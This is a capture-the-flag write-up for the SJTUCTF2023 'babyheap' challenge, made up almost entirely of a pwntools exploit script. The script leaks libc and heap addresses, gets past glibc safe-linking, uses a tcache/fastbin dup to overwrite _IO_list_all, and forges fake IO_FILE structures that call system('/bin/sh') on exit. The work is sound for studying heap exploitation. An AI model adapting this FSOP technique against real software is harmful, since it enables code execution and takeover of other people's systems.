SJTUCTF2023 babyheap Writeup

from pwn import *
from pwncli import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.binary = "./babyheap"
prog = ELF('./babyheap')

REMOTE = True
DEBUG = False
if REMOTE:
    libc = ELF('./libc-2.36.so')
    libc.symbols["_IO_wstrn_jumps"] = 0x1f2da0
    libc.symbols["_IO_cookie_jumps"] = 0x1f2b60
    main_arena_offset = 0x1F6C60
    _lock_offset = 0x1f8a00
    r = remote("111.186.57.85", 40243)
elif DEBUG:
    libc = ELF('./lib/libc.so.6')
    main_arena_offset = 0x1D2C60
    _lock_offset = 0x1d4a00
    pwn_file = "./lib/ld-linux-x86-64.so.2 --library-path ./lib/ ./babyheap"
    r = process(pwn_file.split())
else:
    libc = ELF('./libc-2.36.so')
    libc.symbols["_IO_wstrn_jumps"] = 0x1f2da0
    libc.symbols["_IO_cookie_jumps"] = 0x1f2b60
    main_arena_offset = 0x1F6C60
    _lock_offset = 0x1f8a00
    pwn_file = "./lib/ld-linux-x86-64.so.2 --library-path ./lib_origin/ ./babyheap"
    r = process(pwn_file.split())

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

def add(index, size, content="AAAA"):
    r.sendlineafter("input your choice: ", str(1))
    r.sendlineafter("index: ", str(index))
    r.sendlineafter("size: ", str(size))
    r.sendlineafter("content: ", content)

def delete(index):
    r.sendlineafter("input your choice: ", str(2))
    r.sendlineafter("index: ", str(index)) 

def show(index):
    r.sendlineafter("input your choice: ", str(4))
    r.sendlineafter("index: ", str(index)) 

def bye():
    r.sendlineafter("input your choice: ", str(5))

def exp():
    # 1.leak libc address
    add(0, 0x600, "AAAA")
    add(1, 0x10, "0000")
    delete(0)
    add(2, 0x600, "BBBB")
    delete(0)
    show(2)
    data = r.recv(6)
    print(data)
    leak_addr = u64(data.ljust(0x8, b"\x00"))
    main_arena_addr = leak_addr - 96
    libc_base = main_arena_addr - main_arena_offset
    print("libc_base: ", hex(libc_base))
    system_addr = libc_base + libc.symbols["system"]
    print("system_addr: " + hex(system_addr))
    sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    print("sh_addr: " + hex(sh_addr))
    _IO_list_all = libc_base + libc.symbols["_IO_list_all"]
    print("_IO_list_all: ", hex(_IO_list_all))
    guard_addr = libc_base - 0x2890
    print("guard_addr: ", hex(guard_addr))
    _IO_wstrn_jumps = libc_base + libc.symbols["_IO_wstrn_jumps"]
    print("_IO_wstrn_jumps: ", hex(_IO_wstrn_jumps))
    _IO_cookie_jumps = libc_base + libc.symbols["_IO_cookie_jumps"]
    print("_IO_cookie_jumps: ", hex(_IO_cookie_jumps))
    _lock_addr = libc_base + _lock_offset

    # 2. leak heap address (bypass safe-link)
    add(3, 0x8, "AAAA")
    delete(3)
    add(4, 0x8, "AAAA")
    delete(3)
    show(4)
    data = r.recv(5)
    key = u64(data.ljust(8, b"\x00"))
    print("key: ", hex(key))
    heap_base = key << 12
    print("heap_base: ", hex(heap_base))
    add(5, 0x8, "AAAA")


    # 3. fastbin dup attack
    base = 6
    for i in range(9):
        add(base+i, 0x8, "AAAA")
    for i in range(7):
        delete(base+i)
    delete(base+7)
    delete(base+8)
    delete(base+7)
    for i in range(7):
        add(base+9+i, 0x8, "CCCC")
    # Now, 3 chunks in tcachebin (A->B->A)
    
    # 3.1 bypass safe-link
    payload = p64((_IO_list_all) ^ key)
    add(base+16, 0x8, payload) # payload
    add(base+17, 0x8, "EEEE")
    add(base+18, 0x8, "FFFF")

    # 3.2 fake IO_FILE
    payload = b""
    f1_addr = heap_base + 0x8c0 + 0x10
    chain1 = f1_addr + 0xf0
    f1 = p64(0)
    f1 += p64(0xb81) # _IO_read_ptr
    f1 += p64(0)*2
    f1 += p64(0) # _IO_write_base
    f1 += p64(8) # _IO_write_ptr
    f1 = f1.ljust(0x68, b"\x00")
    f1 += p64(chain1) # chain
    f1 += p32(0) + p32(8) # _flags2
    f1 = f1.ljust(0x88, b'\x00')
    f1 += p64(_lock_addr)  # _lock = writable address
    f1 = f1.ljust(0xA0, b'\x00')
    f1 += p64(guard_addr)  # _wide_data
    f1 = f1.ljust(0xC0, b'\x00')
    f1 += p64(0)  # _mode = 0
    f1 = f1.ljust(0xD8, b'\x00')
    f1 += p64(_IO_wstrn_jumps) # vtable
    guard_new_value = f1_addr + 0xf0
    print("guard_new_value: " + hex(guard_new_value))

    f2_addr = chain1
    chain2 = 0
    f2 = 4 * p64(0)
    f2 += p64(0)  # _IO_write_base = 0
    f2 += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
    f2 += p64(0)
    f2 += p64(0)  # _IO_buf_base
    f2 += p64(0)  # _IO_buf_end
    f2 = f2.ljust(0x68, b'\x00')
    f2 += p64(chain2)  # _chain
    f2 = f2.ljust(0x88, b'\x00')
    f2 += p64(heap_base)  # _lock = writable address
    f2 = f2.ljust(0xC0, b'\x00')
    f2 += p64(0)  # _mode = 0
    f2 = f2.ljust(0xD8, b'\x00')
    f2 += p64(_IO_cookie_jumps + 0x58)  # vtable # call overflow? call read!
    f2 += p64(sh_addr) # cookie
    f2 += p64(ROL(system_addr ^ guard_new_value, 0x11)) # __io_functions.read

    payload = f1.ljust(0xF0, b"\x00") + f2
    # /home/hacker/CTF/tools/libc-compile/glibc-2.36/libio/genops.c
    # GDB: b _IO_cleanup; b _IO_flush_all_lockp; b _IO_wstrn_overflow
    add(base+19, 0x600, payload)

    # 3.3 triger fastbin attack, alloc to _IO_list_all
    # malloc(): unaligned tcache chunk detected\n (16bytes align!)
    add(base+20, 0x18, p64(f1_addr))

    # 4. trigger exit(), traverse _IO_list_all
    bye()
    r.interactive()

if __name__ == "__main__":
    exp()